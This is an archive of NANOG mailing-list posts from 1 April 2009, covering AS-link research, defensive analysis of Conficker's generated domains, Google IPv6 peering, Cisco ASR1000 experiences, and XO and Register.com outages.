From john at vanoppen.com Wed Apr 1 03:42:15 2009 From: john at vanoppen.com (John van Oppen) Date: Wed, 1 Apr 2009 01:42:15 -0700 Subject: Can you see these AS links:) References: Message-ID: This should be a pretty normal thing, not everyone just has transit links... route views only sees about 35 or 40 of our nearly 200 adjacencies and they are pretty comprehensive. There is an argument that you might be better off just emailing the ARIN or peering db contacts of the ASNs you are interested in. Thanks, John van Oppen Spectrum Networks LLC (AS11404) Direct: 206.973.8302 Main: 206.973.8300 Website: http://spectrumnetworks.us -----Original Message----- From: Kai Chen [mailto:kch670 at eecs.northwestern.edu] Sent: Tuesday, March 31, 2009 7:56 PM To: nanog at merit.edu Subject: Can you see these AS links:) Hello folks, As part of a research project here at Northwestern, we have found quite a few unexpected AS-level links that do not appear in public available BGP tables. We really need your help in validating them; for anyone who knows links associated with any AS, if you can assist us with this please contact us off list. Thanks! - Kai From rveloso at cs.ucla.edu Wed Apr 1 03:49:02 2009 From: rveloso at cs.ucla.edu (Ricardo Oliveira) Date: Wed, 1 Apr 2009 01:49:02 -0700 Subject: Can you see these AS links:) In-Reply-To: References: Message-ID: And you might want to have a look at: http://www.cs.ucla.edu/~rveloso/papers/completeness.pdf http://www.cs.ucla.edu/~rveloso/papers/completeness_tr.pdf --Ricardo On Mar 31, 2009, at 7:56 PM, Kai Chen wrote: > Hello folks, > As part of a research project here at Northwestern, we have found > quite a > few unexpected AS-level links that do not appear in public available > BGP > tables. We really need your help in validating them; for anyone who > knows > links associated with any AS, if you can assist us with this please > contact > us off list. > > Thanks! > - Kai From kch670 at eecs.northwestern.edu Wed Apr 1 08:30:31 2009 From: kch670 at eecs.northwestern.edu (Kai Chen) Date: Wed, 1 Apr 2009 08:30:31 -0500 Subject: Can you see these AS links:) In-Reply-To: References: Message-ID: We read and compare our results with the following projs, the new links are those in our dataset not in follows, which is interesting. Note the results come from measurements of extremely large-scale monitors than public available monitors. - Kai On Wed, Apr 1, 2009 at 3:49 AM, Ricardo Oliveira wrote: > And you might want to have a look at: > http://www.cs.ucla.edu/~rveloso/papers/completeness.pdf > http://www.cs.ucla.edu/~rveloso/papers/completeness_tr.pdf > > --Ricardo > > > On Mar 31, 2009, at 7:56 PM, Kai Chen wrote: > > Hello folks, >> As part of a research project here at Northwestern, we have found quite a >> few unexpected AS-level links that do not appear in public available BGP >> tables. We really need your help in validating them; for anyone who knows >> links associated with any AS, if you can assist us with this please >> contact >> us off list. >> >> Thanks! >> - Kai >> > > > From michael.holstein at csuohio.edu Wed Apr 1 09:11:27 2009 From: michael.holstein at csuohio.edu (Michael Holstein) Date: Wed, 01 Apr 2009 10:11:27 -0400 Subject: The Confiker Virus. In-Reply-To: <500ffb690903311337h79de52d7vaacbbd449fed2ff@mail.gmail.com> References: <03AD93D590E44DCA986E2EAD7C6BD50B@jnpr.net> <002f01c9b0cb$0b0f6de0$0101a8c0@E520> <000001c9b0cc$c6126100$52372300$@com> <6cd462c00903301027y271d59b8x19387a00cca2419a@mail.gmail.com> <785694cd0903301546r2b34e1e8kafdd1d2af3e988ef@mail.gmail.com> <49D24059.F1D8.006C.0@sunshadeseyewear.com.au> <785694cd0903310641x325d14fct687ca85e04c8051f@mail.gmail.com> <500ffb690903311337h79de52d7vaacbbd449fed2ff@mail.gmail.com> Message-ID: <49D3760F.7060106@csuohio.edu> > Is anyone aware of any network-based signatures that could be used to > identify and tag IP traffic, for dropping at the ingress/egress points? > http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/ Has snort sigs for .A and .B variants .. haven't seen one for .C yet, but there is a tool on that same site called 'downatool2' to enumerate the domain list (to run through a parallel DNS tool, etc. and then check netflow and such). I did this just now for the .C variant (using 'wine downatool2_01.exe -c' and then piping results through 'adnshost -a -f -Fi' after a little cleanup) .. results? Of the 50,000 DNS names generated for today .. 32,947 don't resolve. For the remainder .. if I sort the list .. I get 107 unique /16s 308 unique /24s 11777 unique hosts (mostly sequential within a /24 or shorter mask). Here's the top 10 /16's with count : 149.93/16 -- 8500 38.229/16 -- 2737 192.174/16 -- 404 148.81/16 -- 20 97.74/16 -- 13 75.125/16 -- 9 60.29/16 -- 7 221.130/16 -- 7 124.42/16 -- 7 118.102/16 -- 7 If anyone wants to save themselves the trouble and wants today's list of IPs (which could change quickly .. I didn't query SOA info) .. ping me off-list. Regards, Michael Holstein Cleveland State University From michael.holstein at csuohio.edu Wed Apr 1 09:38:44 2009 From: michael.holstein at csuohio.edu (Michael Holstein) Date: Wed, 01 Apr 2009 10:38:44 -0400 Subject: The Confiker Virus. In-Reply-To: <49D3760F.7060106@csuohio.edu> References: <03AD93D590E44DCA986E2EAD7C6BD50B@jnpr.net> <002f01c9b0cb$0b0f6de0$0101a8c0@E520> <000001c9b0cc$c6126100$52372300$@com> <6cd462c00903301027y271d59b8x19387a00cca2419a@mail.gmail.com> <785694cd0903301546r2b34e1e8kafdd1d2af3e988ef@mail.gmail.com> <49D24059.F1D8.006C.0@sunshadeseyewear.com.au> <785694cd0903310641x325d14fct687ca85e04c8051f@mail.gmail.com> <500ffb690903311337h79de52d7vaacbbd449fed2ff@mail.gmail.com> <49D3760F.7060106@csuohio.edu> Message-ID: <49D37C74.5050005@csuohio.edu> > Of the 50,000 DNS names generated for today .. Additional info .. Top 10 ASN by number/name : 5680 -- 1280 ISC-AS1280 Internet Systems Consortium, Inc. 2820 -- 1668 AOL-ATDN - AOL Transit Data Network 2737 -- 23028 TEAM-CYMRU - Team Cymru Inc. 404 -- 760 University of Vienna, Austria 20 -- 1887 NASK-ACADEMIC NASK 10 -- 4134 CHINANET-BACKBONE No.31,Jin-rong Street 7 -- 21844 THEPLANET-AS - ThePlanet.com Internet Services, Inc. 5 -- 8560 ONEANDONE-AS 1&1 Internet AG 4 -- 12306 PLUSLINE Plus.Line AG IP-Services 3 -- 26496 PAH-INC - GoDaddy.com, Inc. So you can tell the "good guys" are still at it pre-registering the bulk of the conflickr-related domain names. Cheers, Michael Holstein Cleveland State University From trejrco at gmail.com Wed Apr 1 10:19:26 2009 From: trejrco at gmail.com (TJ) Date: Wed, 1 Apr 2009 11:19:26 -0400 Subject: Google Over IPV6 In-Reply-To: <49D2A332.50703@bogus.com> References: <00d601c9aed6$2fc517d0$8f4f4770$@edu> <1238158743.17980.10.camel@daniel.office.bit.nl> <49CCE8C0.9080707@Janoszka.pl> <016c01c9aeed$2245ed20$66d1c760$@edu> <20090327152614.GB53235@ussenterprise.ufp.org> <49CCF9F7.8050704@foobar.org> <49D2A332.50703@bogus.com> Message-ID: <010801c9b2dd$449fce10$cddf6a30$@com> >>> AFAIK you have to have native peering with them to be part of the >>> pilot. At least, you did when we signed up. They may have relaxed >>> that since. >> >> According to a Google IPv6 talk I attended yesterday, they don't >> intend to relax that rule. Tunneling ipv6 connectivity over ipv4 is >> trash quality engineering and to be honest, its not a credible >> substitute for adequate ipv6 infrastructure. > > >Tunneling ipv4 over mpls is trash quality engineering and it's not a credible >substitute for adequate ipv4 infrastructure. > > >Everything is a tunnel... Indeed, but the differentiator here is that the transport for the tunnel in question also provides connectivity to the destination; i.e. - you can get to Google over IPv4. You do not (or, atleast I do not :)) have the option of connecting to Google "over" MPLS, Ethernet, etc. /TJ From jabley at hopcount.ca Wed Apr 1 10:44:28 2009 From: jabley at hopcount.ca (Joe Abley) Date: Wed, 1 Apr 2009 11:44:28 -0400 Subject: Google Over IPV6 In-Reply-To: <010801c9b2dd$449fce10$cddf6a30$@com> References: <00d601c9aed6$2fc517d0$8f4f4770$@edu> <1238158743.17980.10.camel@daniel.office.bit.nl> <49CCE8C0.9080707@Janoszka.pl> <016c01c9aeed$2245ed20$66d1c760$@edu> <20090327152614.GB53235@ussenterprise.ufp.org> <49CCF9F7.8050704@foobar.org> <49D2A332.50703@bogus.com> <010801c9b2dd$449fce10$cddf6a30$@com> Message-ID: On 1 Apr 2009, at 11:19, TJ wrote: > You do not (or, atleast I do not :)) have the option of connecting > to Google "over" MPLS, Ethernet, etc. r1.owls#show arp | inc 198.32.245.6 Internet 198.32.245.6 2 001f.128e.56f2 ARPA FastEthernet0/1 r1.owls#show ipv6 neighbors | inc 2001:478:245:1::6 2001:478:245:1::6 0 001f.128e.56f2 REACH Fa0/1 r1.owls# That's the router in my house connecting to Google using IPv4/IPv6 over ethernet over ATM. Do I win $5? :-) Joe From trejrco at gmail.com Wed Apr 1 10:51:36 2009 From: trejrco at gmail.com (TJ) Date: Wed, 1 Apr 2009 11:51:36 -0400 Subject: Google Over IPV6 In-Reply-To: References: <00d601c9aed6$2fc517d0$8f4f4770$@edu> <1238158743.17980.10.camel@daniel.office.bit.nl> <49CCE8C0.9080707@Janoszka.pl> <016c01c9aeed$2245ed20$66d1c760$@edu> <20090327152614.GB53235@ussenterprise.ufp.org> <49CCF9F7.8050704@foobar.org> <49D2A332.50703@bogus.com> <010801c9b2dd$449fce10$cddf6a30$@com> Message-ID: <011a01c9b2e1$be3ec420$3abc4c60$@com> Heh ... perhaps I mis-used "using". My apologies, let me be more explicit: You do not connect to Google's services directly using Ethernet or ATM addressing/reachability, except to (cough) "tunnel" IP(v*) over those media. Same for frame relay, token ring, etc.etc.etc. Better? :) Now if you made it IPv6 over IPv4 over IPv4+GRE+IPsec over Ethernet over MPLS we would be talking FUN. And someone would be having WAY to much free time! /TJ PS - Yes, you win $5 - to be paid in Internet Dollars, and you didn't even need to go on strike to get them. (/southpark) >-----Original Message----- >From: Joe Abley [mailto:jabley at hopcount.ca] >Sent: Wednesday, April 01, 2009 11:44 AM >To: TJ >Cc: nanog at nanog.org >Subject: Re: Google Over IPV6 > > >On 1 Apr 2009, at 11:19, TJ wrote: > >> You do not (or, atleast I do not :)) have the option of connecting to >> Google "over" MPLS, Ethernet, etc. > >r1.owls#show arp | inc 198.32.245.6 >Internet 198.32.245.6 2 001f.128e.56f2 ARPA >FastEthernet0/1 >r1.owls#show ipv6 neighbors | inc 2001:478:245:1::6 >2001:478:245:1::6 0 001f.128e.56f2 REACH >Fa0/1 >r1.owls# > >That's the router in my house connecting to Google using IPv4/IPv6 over >ethernet over ATM. Do I win $5? :-) > > >Joe From bmanning at vacation.karoshi.com Wed Apr 1 10:55:29 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Wed, 1 Apr 2009 15:55:29 +0000 Subject: Google Over IPV6 In-Reply-To: References: <00d601c9aed6$2fc517d0$8f4f4770$@edu> <1238158743.17980.10.camel@daniel.office.bit.nl> <49CCE8C0.9080707@Janoszka.pl> <016c01c9aeed$2245ed20$66d1c760$@edu> <20090327152614.GB53235@ussenterprise.ufp.org> <49CCF9F7.8050704@foobar.org> <49D2A332.50703@bogus.com> <010801c9b2dd$449fce10$cddf6a30$@com> Message-ID: <20090401155529.GA28600@vacation.karoshi.com.> On Wed, Apr 01, 2009 at 11:44:28AM -0400, Joe Abley wrote: > > On 1 Apr 2009, at 11:19, TJ wrote: > > >You do not (or, atleast I do not :)) have the option of connecting > >to Google "over" MPLS, Ethernet, etc. > > r1.owls#show arp | inc 198.32.245.6 > Internet 198.32.245.6 2 001f.128e.56f2 ARPA > FastEthernet0/1 > r1.owls#show ipv6 neighbors | inc 2001:478:245:1::6 > 2001:478:245:1::6 0 001f.128e.56f2 REACH > Fa0/1 > r1.owls# > > That's the router in my house connecting to Google using IPv4/IPv6 > over ethernet over ATM. Do I win $5? :-) > > > Joe er... that would be 5.00 minus the 0.52 ATM cell tax. --bill From jason.iannone at gmail.com Wed Apr 1 11:01:29 2009 From: jason.iannone at gmail.com (Jason Iannone) Date: Wed, 1 Apr 2009 10:01:29 -0600 Subject: The Confiker Virus. In-Reply-To: <49D37C74.5050005@csuohio.edu> References: <03AD93D590E44DCA986E2EAD7C6BD50B@jnpr.net> <000001c9b0cc$c6126100$52372300$@com> <6cd462c00903301027y271d59b8x19387a00cca2419a@mail.gmail.com> <785694cd0903301546r2b34e1e8kafdd1d2af3e988ef@mail.gmail.com> <49D24059.F1D8.006C.0@sunshadeseyewear.com.au> <785694cd0903310641x325d14fct687ca85e04c8051f@mail.gmail.com> <500ffb690903311337h79de52d7vaacbbd449fed2ff@mail.gmail.com> <49D3760F.7060106@csuohio.edu> <49D37C74.5050005@csuohio.edu> Message-ID: What's the virus doing with all of those domain names? On Wed, Apr 1, 2009 at 8:38 AM, Michael Holstein wrote: > >> Of the 50,000 DNS names generated for today .. > > Additional info .. > > Top 10 ASN by number/name : > > 5680 -- 1280 ISC-AS1280 Internet Systems Consortium, Inc. ? ? 2820 -- 1668 > AOL-ATDN - AOL Transit Data Network ? ?2737 -- 23028 TEAM-CYMRU - Team Cymru > Inc. ? ? 404 -- 760 University of Vienna, Austria ? ? ?20 -- 1887 > NASK-ACADEMIC NASK ? ? ? ?10 -- 4134 CHINANET-BACKBONE No.31,Jin-rong Street > ? ? ? 7 -- 21844 THEPLANET-AS - ThePlanet.com Internet Services, Inc. ? ?5 > -- 8560 ONEANDONE-AS 1&1 Internet AG ? ? ?4 -- 12306 PLUSLINE Plus.Line AG > IP-Services ? ? ?3 -- 26496 PAH-INC - GoDaddy.com, Inc. > So you can tell the "good guys" are still at it pre-registering the bulk of > the conflickr-related domain names. > > Cheers, > > Michael Holstein > Cleveland State University > > From David_Hankins at isc.org Wed Apr 1 12:02:35 2009 From: David_Hankins at isc.org (David W. Hankins) Date: Wed, 1 Apr 2009 10:02:35 -0700 Subject: The Confiker Virus. In-Reply-To: References: <000001c9b0cc$c6126100$52372300$@com> <6cd462c00903301027y271d59b8x19387a00cca2419a@mail.gmail.com> <785694cd0903301546r2b34e1e8kafdd1d2af3e988ef@mail.gmail.com> <49D24059.F1D8.006C.0@sunshadeseyewear.com.au> <785694cd0903310641x325d14fct687ca85e04c8051f@mail.gmail.com> <500ffb690903311337h79de52d7vaacbbd449fed2ff@mail.gmail.com> <49D3760F.7060106@csuohio.edu> <49D37C74.5050005@csuohio.edu> Message-ID: <20090401170234.GA4101@isc.org> On Wed, Apr 01, 2009 at 10:01:29AM -0600, Jason Iannone wrote: > What's the virus doing with all of those domain names? Paul Vixie gave a presentation at the IEPG meeting before IETF 74. I don't think the IEPG meeting notes are up yet (they would be very informative if they were)...I don't pretend to be an expert, but my understanding based on that presentation is that the DNS is used for C&C of the botnet. Its owner only needs one of those domain names to be registered to give out orders. If they only used one, it would be relatively easy to shut them down. They use so many so that, when the good guys bust in the door and shut down the C&C domain/hosting, they can just open up shop somewhere else like nothing happened. Not entirely unlike terrorist cells. -- David W. Hankins "If you don't do it right the first time, Software Engineer you'll just have to do it again." Internet Systems Consortium, Inc. -- Jack T. Hankins -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available URL: From michael.holstein at csuohio.edu Wed Apr 1 12:06:07 2009 From: michael.holstein at csuohio.edu (Michael Holstein) Date: Wed, 01 Apr 2009 13:06:07 -0400 Subject: The Confiker Virus. In-Reply-To: References: <03AD93D590E44DCA986E2EAD7C6BD50B@jnpr.net> <000001c9b0cc$c6126100$52372300$@com> <6cd462c00903301027y271d59b8x19387a00cca2419a@mail.gmail.com> <785694cd0903301546r2b34e1e8kafdd1d2af3e988ef@mail.gmail.com> <49D24059.F1D8.006C.0@sunshadeseyewear.com.au> <785694cd0903310641x325d14fct687ca85e04c8051f@mail.gmail.com> <500ffb690903311337h79de52d7vaacbbd449fed2ff@mail.gmail.com> <49D3760F.7060106@csuohio.edu> <49D37C74.5050005@csuohio.edu> Message-ID: <49D39EFF.4010407@csuohio.edu> > What's the virus doing with all of those domain names? > Domain names are enumerated at random (based on date) as a way around hard-coding an IP/domain that could be easily taken down. The domain names are used for the command & control of the worm, and presumably at least one of them will be registered at some point (if not already) by the worm authors. Read up on the specifics at one of the (many) sites where research is being done on it : http://www.dshield.org/conficker ~Mike. > On Wed, Apr 1, 2009 at 8:38 AM, Michael Holstein > wrote: > >>> Of the 50,000 DNS names generated for today .. >>> >> Additional info .. >> >> Top 10 ASN by number/name : >> >> 5680 -- 1280 ISC-AS1280 Internet Systems Consortium, Inc. 2820 -- 1668 >> AOL-ATDN - AOL Transit Data Network 2737 -- 23028 TEAM-CYMRU - Team Cymru >> Inc. 404 -- 760 University of Vienna, Austria 20 -- 1887 >> NASK-ACADEMIC NASK 10 -- 4134 CHINANET-BACKBONE No.31,Jin-rong Street >> 7 -- 21844 THEPLANET-AS - ThePlanet.com Internet Services, Inc. 5 >> -- 8560 ONEANDONE-AS 1&1 Internet AG 4 -- 12306 PLUSLINE Plus.Line AG >> IP-Services 3 -- 26496 PAH-INC - GoDaddy.com, Inc. >> So you can tell the "good guys" are still at it pre-registering the bulk of >> the conflickr-related domain names. >> >> Cheers, >> >> Michael Holstein >> Cleveland State University >> >> >> > > > From mpetach at netflight.com Wed Apr 1 12:15:38 2009 From: mpetach at netflight.com (Matthew Petach) Date: Wed, 1 Apr 2009 10:15:38 -0700 Subject: Can you see these AS links:) In-Reply-To: References: Message-ID: <63ac96a50904011015u374ff63fnd0365bb1d2ad1913@mail.gmail.com> On 4/1/09, Kai Chen wrote: > We read and compare our results with the following projs, the new links are > those in our dataset not in follows, which is interesting. Note the results > come from measurements of extremely large-scale monitors than public > available monitors. > > - Kai I confess, those were me--I've been secretly logging into most of the major networks around the world, and have been secretly bringing up new AS adjacencies between them in an effort to improve routing and promote world peace through shared packet infrastructure. If it's a problem, I can just go back and remove them all so your data looks clean again, and conforms to the expected results. Apologies for the confusion. ^_^;; Matt (such an excellent day for a thread such as this! ;) > On Wed, Apr 1, 2009 at 3:49 AM, Ricardo Oliveira wrote: > > And you might want to have a look at: > > http://www.cs.ucla.edu/~rveloso/papers/completeness.pdf > > http://www.cs.ucla.edu/~rveloso/papers/completeness_tr.pdf > > > > > --Ricardo > > > > > > On Mar 31, 2009, at 7:56 PM, Kai Chen wrote: > > > > Hello folks, > >> As part of a research project here at Northwestern, we have found quite a > >> few unexpected AS-level links that do not appear in public available BGP > >> tables. We really need your help in validating them; for anyone who knows > >> links associated with any AS, if you can assist us with this please > >> contact > >> us off list. > >> > >> Thanks! > >> - Kai > >> > > > > > > > > From warren at kumari.net Wed Apr 1 12:21:13 2009 From: warren at kumari.net (Warren Kumari) Date: Wed, 1 Apr 2009 13:21:13 -0400 Subject: The Confiker Virus. In-Reply-To: References: <03AD93D590E44DCA986E2EAD7C6BD50B@jnpr.net> <000001c9b0cc$c6126100$52372300$@com> <6cd462c00903301027y271d59b8x19387a00cca2419a@mail.gmail.com> <785694cd0903301546r2b34e1e8kafdd1d2af3e988ef@mail.gmail.com> <49D24059.F1D8.006C.0@sunshadeseyewear.com.au> <785694cd0903310641x325d14fct687ca85e04c8051f@mail.gmail.com> <500ffb690903311337h79de52d7vaacbbd449fed2ff@mail.gmail.com> <49D3760F.7060106@csuohio.edu> <49D37C74.5050005@csuohio.edu> Message-ID: <465AF86A-08FC-458D-B773-C8699CE79385@kumari.net> On Apr 1, 2009, at 12:01 PM, Jason Iannone wrote: > What's the virus doing with all of those domain names? http://lmgtfy.com/?q=conficker > > > On Wed, Apr 1, 2009 at 8:38 AM, Michael Holstein > wrote: >> >>> Of the 50,000 DNS names generated for today .. >> >> Additional info .. >> >> Top 10 ASN by number/name : >> >> 5680 -- 1280 ISC-AS1280 Internet Systems Consortium, Inc. 2820 >> -- 1668 >> AOL-ATDN - AOL Transit Data Network 2737 -- 23028 TEAM-CYMRU - >> Team Cymru >> Inc. 404 -- 760 University of Vienna, Austria 20 -- 1887 >> NASK-ACADEMIC NASK 10 -- 4134 CHINANET-BACKBONE No.31,Jin- >> rong Street >> 7 -- 21844 THEPLANET-AS - ThePlanet.com Internet Services, >> Inc. 5 >> -- 8560 ONEANDONE-AS 1&1 Internet AG 4 -- 12306 PLUSLINE >> Plus.Line AG >> IP-Services 3 -- 26496 PAH-INC - GoDaddy.com, Inc. >> So you can tell the "good guys" are still at it pre-registering the >> bulk of >> the conflickr-related domain names. >> >> Cheers, >> >> Michael Holstein >> Cleveland State University >> >> > -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2173 bytes Desc: not available URL: From BBlackford at nwresd.k12.or.us Wed Apr 1 13:47:18 2009 From: BBlackford at nwresd.k12.or.us (Bill Blackford) Date: Wed, 1 Apr 2009 11:47:18 -0700 Subject: Cisco ASR100x Message-ID: <6069A203FD01884885C037F81DD75080CA2797BC@wsc-mail-01.intra.nwresd.k12.or.us> Anyone on the list have any experience with ASR1000 series and IOS XE? From what I've read, Cisco is attempting to move to a more modular software as JUNOS has been doing for some time. I am curious about the reliability and stability of the platform. I am also interested in the differences in the IOS XE vs. IOS. Thanks -b -- Bill Blackford From Sam.Crooks at experian.com Wed Apr 1 14:45:49 2009 From: Sam.Crooks at experian.com (Crooks, Sam) Date: Wed, 1 Apr 2009 14:45:49 -0500 Subject: Cisco ASR100x In-Reply-To: <6069A203FD01884885C037F81DD75080CA2797BC@wsc-mail-01.intra.nwresd.k12.or.us> Message-ID: Michael Morris of Network World wrote an article about ASR1000s and IOS XE a few months ago, if I recall correctly. Sam Crooks GTS Network Architecture 601 Experian Pkwy A2035 Allen, TX 75013 972-390-3186 sam.crooks at experian.com aim: expsamcrooks -----Original Message----- From: Bill Blackford [mailto:BBlackford at nwresd.k12.or.us] Sent: Wednesday, April 01, 2009 1:47 PM To: nanog at nanog.org Subject: Cisco ASR100x Anyone on the list have any experience with ASR1000 series and IOS XE? >From what I've read, Cisco is attempting to move to a more modular software as JUNOS has been doing for some time. I am curious about the reliability and stability of the platform. I am also interested in the differences in the IOS XE vs. IOS. Thanks -b -- Bill Blackford From sdanelli at gmail.com Wed Apr 1 15:04:25 2009 From: sdanelli at gmail.com (Sergio D.) Date: Wed, 1 Apr 2009 14:04:25 -0600 Subject: XO and microsoft.com Message-ID: Anyone going out through XO having problems getting to microsoft.com? This seems to work out our other connections but not XO. Thanks. -- Sergio Danelli From Mark.Borchers at McLeodUSA.com Wed Apr 1 15:19:19 2009 From: Mark.Borchers at McLeodUSA.com (Borchers, Mark M.) Date: Wed, 1 Apr 2009 15:19:19 -0500 Subject: XO and microsoft.com In-Reply-To: Message-ID: <96C80C779D4D2B4DB8E2C90746D8AE3147F5F0@MAILCLUSTER1.mcld.net> > Anyone going out through XO having problems getting to > microsoft.com? This > seems to work out our other connections but not XO. > Thanks. > > -- > Sergio Danelli Saw problems this afternoon localized to our path through Chicago with them. NOTICE: This electronic mail transmission may contain confidential information and is intended only for the person(s) named. Any use, copying, or disclosure by any other person is strictly prohibited. If you have received this transmission in error, please notify the sender via e-mail. From chris at chrisserafin.com Wed Apr 1 15:18:21 2009 From: chris at chrisserafin.com (ChrisSerafin) Date: Wed, 01 Apr 2009 15:18:21 -0500 Subject: XO and microsoft.com In-Reply-To: References: Message-ID: <49D3CC0D.3020002@chrisserafin.com> I had a ton of problems getting out to MSDN from our data center at Chicago/Equinix but our office connection on XO seemed to be fine Sergio D. wrote: > Anyone going out through XO having problems getting to microsoft.com? This > seems to work out our other connections but not XO. > Thanks. > > > ------------------------------------------------------------------------ > > > No virus found in this incoming message. > Checked by AVG - www.avg.com > Version: 8.0.238 / Virus Database: 270.11.35/2034 - Release Date: 04/01/09 06:06:00 > > From sdanelli at gmail.com Wed Apr 1 15:25:19 2009 From: sdanelli at gmail.com (Sergio D.) Date: Wed, 1 Apr 2009 14:25:19 -0600 Subject: XO and microsoft.com In-Reply-To: <49D3CC0D.3020002@chrisserafin.com> References: <49D3CC0D.3020002@chrisserafin.com> Message-ID: (http://xostats.xo.com/cgi-bin/xostats/diagtool-pub) traceroute from their Chicago node: traceroute 207.46.19.190 Type escape sequence to abort. Tracing the route to 207.46.19.190 * * * 1 65.106.2.113 0 msec 0 msec 4 msec 2 65.106.6.193 0 msec 0 msec 4 msec 3 65.106.1.42 4 msec 0 msec 4 msec 4 * * * and from our location it seems to die there: 1 1 ms 1 ms 1 ms 10.1.130.1 2 2 ms 2 ms 1 ms 64.244.80.169 3 6 ms 5 ms 5 ms ip65-47-232-113.z232-47-65.customer.algx.net[65 47.232.113] 4 5 ms 4 ms 5 ms ge5-2-0-0.mar1.saltlake-ut.us.xo.net[207.88.83. 21] 5 18 ms 17 ms 60 ms p4-1-0-0.rar1.denver-co.us.xo.net[65.106.6.85] 6 18 ms 18 ms 19 ms p0-0-0d0.rar2.denver-co.us.xo.net[65.106.1.74] 7 68 ms 50 ms 244 ms p1-0-0.rar1.chicago-il.us.xo.net[65.106.0.26] 8 41 ms 41 ms 41 ms te-3-1-0.rar3.chicago-il.us.xo.net[65.106.1.42] 9 41 ms 41 ms 41 ms 207.88.13.5.ptr.us.xo.net [207.88.13.5] 10 * * * Request timed out. 11 * * * Request timed out. 12 * * * Request timed out. On Wed, Apr 1, 2009 at 2:18 PM, ChrisSerafin wrote: > I had a ton of problems getting out to MSDN from our data center at > Chicago/Equinix but our office connection on XO seemed to be fine > > > Sergio D. wrote: > >> Anyone going out through XO having problems getting to microsoft.com? >> This >> seems to work out our other connections but not XO. >> Thanks. >> >> ------------------------------------------------------------------------ >> >> >> No virus found in this incoming message. >> Checked by AVG - www.avg.com Version: 8.0.238 / Virus Database: >> 270.11.35/2034 - Release Date: 04/01/09 06:06:00 >> >> >> > > -- Sergio Danelli From sliplever at gmail.com Wed Apr 1 16:11:46 2009 From: sliplever at gmail.com (Dan Snyder) Date: Wed, 1 Apr 2009 17:11:46 -0400 Subject: Cisco ASR100x In-Reply-To: <6069A203FD01884885C037F81DD75080CA2797BC@wsc-mail-01.intra.nwresd.k12.or.us> References: <6069A203FD01884885C037F81DD75080CA2797BC@wsc-mail-01.intra.nwresd.k12.or.us> Message-ID: <6C9CA4EF-939B-4B9C-A794-976F900279D6@gmail.com> We have two of them and we haven't been able to keep them in production, either because of bugs or lack of QoS features. Sent from my iPhone On Apr 1, 2009, at 2:47 PM, Bill Blackford wrote: > Anyone on the list have any experience with ASR1000 series and IOS > XE? From what I've read, Cisco is attempting to move to a more > modular software as JUNOS has been doing for some time. > > I am curious about the reliability and stability of the platform. I > am also interested in the differences in the IOS XE vs. IOS. > > Thanks > > -b > > -- > Bill Blackford > > From joe at tess.moorecap.com Wed Apr 1 16:57:57 2009 From: joe at tess.moorecap.com (Joseph Nuara) Date: Wed, 1 Apr 2009 17:57:57 -0400 (EDT) Subject: Can anyone shed some light as to what is happening with Register.com? Message-ID: <200904012157.n31Lvv229932@tess.moorecap.com> We are no longer able to resolve A records for sites that they host. The NOC has not been able to provide any color and the main lines are tied up --they were able to tell me they were having a DNS issue but that was it. Thanks in advance for any info that you can share. Joe From ekolb at kolbsoft.com Wed Apr 1 17:10:24 2009 From: ekolb at kolbsoft.com (Erich Kolb) Date: Wed, 1 Apr 2009 17:10:24 -0500 Subject: Can anyone shed some light as to what is happening with Register.com? In-Reply-To: <200904012157.n31Lvv229932@tess.moorecap.com> References: <200904012157.n31Lvv229932@tess.moorecap.com> Message-ID: Looks like they are having some serious issues. It doesn't appear that any of their domains are resolving. Hosted or otherwise. On Wed, Apr 1, 2009 at 4:57 PM, Joseph Nuara wrote: > We are no longer able to resolve A records for sites that they host. > The NOC has not been able to provide any color and the main lines are tied > up --they were able to tell me they were having a DNS issue but that was it. > Thanks in advance for any info that you can share. > > Joe > > -- Thank You, Erich A. Kolb President/CEO KolbSoft Technologies Phone: 312.285.0367 Cell: 847.445.5087 Web: http://www.kolbsoft.com From EMort at xo.com Wed Apr 1 17:26:30 2009 From: EMort at xo.com (Mort, Eric) Date: Wed, 1 Apr 2009 17:26:30 -0500 Subject: XO and microsoft.com In-Reply-To: References: <49D3CC0D.3020002@chrisserafin.com> Message-ID: <2E209CF1536C0C42A260E215DA598E9606705AEA@TXPLANMAIL02.mail.inthosts.net> In looking at the issue it is my understanding the several networks (not just XO) are having issues getting to Microsoft.com. We've engaged Microsoft and are waiting for a callback to do some collaborative troubleshooting. Eric J. Mort XO Communications Sr. Manager - IP Operations Desk - 314-787-7826 Cell - 314.486-9057 emort at xo.com -----Original Message----- From: Sergio D. [mailto:sdanelli at gmail.com] Sent: Wednesday, April 01, 2009 3:25 PM To: ChrisSerafin; nanog at nanog.org Subject: Re: XO and microsoft.com (http://xostats.xo.com/cgi-bin/xostats/diagtool-pub) traceroute from their Chicago node: traceroute 207.46.19.190 Type escape sequence to abort. Tracing the route to 207.46.19.190 * * * 1 65.106.2.113 0 msec 0 msec 4 msec 2 65.106.6.193 0 msec 0 msec 4 msec 3 65.106.1.42 4 msec 0 msec 4 msec 4 * * * and from our location it seems to die there: 1 1 ms 1 ms 1 ms 10.1.130.1 2 2 ms 2 ms 1 ms 64.244.80.169 3 6 ms 5 ms 5 ms ip65-47-232-113.z232-47-65.customer.algx.net[65 47.232.113] 4 5 ms 4 ms 5 ms ge5-2-0-0.mar1.saltlake-ut.us.xo.net[207.88.83. 21] 5 18 ms 17 ms 60 ms p4-1-0-0.rar1.denver-co.us.xo.net[65.106.6.85] 6 18 ms 18 ms 19 ms p0-0-0d0.rar2.denver-co.us.xo.net[65.106.1.74] 7 68 ms 50 ms 244 ms p1-0-0.rar1.chicago-il.us.xo.net[65.106.0.26] 8 41 ms 41 ms 41 ms te-3-1-0.rar3.chicago-il.us.xo.net[65.106.1.42] 9 41 ms 41 ms 41 ms 207.88.13.5.ptr.us.xo.net [207.88.13.5] 10 * * * Request timed out. 11 * * * Request timed out. 12 * * * Request timed out. On Wed, Apr 1, 2009 at 2:18 PM, ChrisSerafin wrote: > I had a ton of problems getting out to MSDN from our data center at > Chicago/Equinix but our office connection on XO seemed to be fine > > > Sergio D. wrote: > >> Anyone going out through XO having problems getting to microsoft.com? >> This >> seems to work out our other connections but not XO. >> Thanks. >> >> ------------------------------------------------------------------------ >> >> >> No virus found in this incoming message. >> 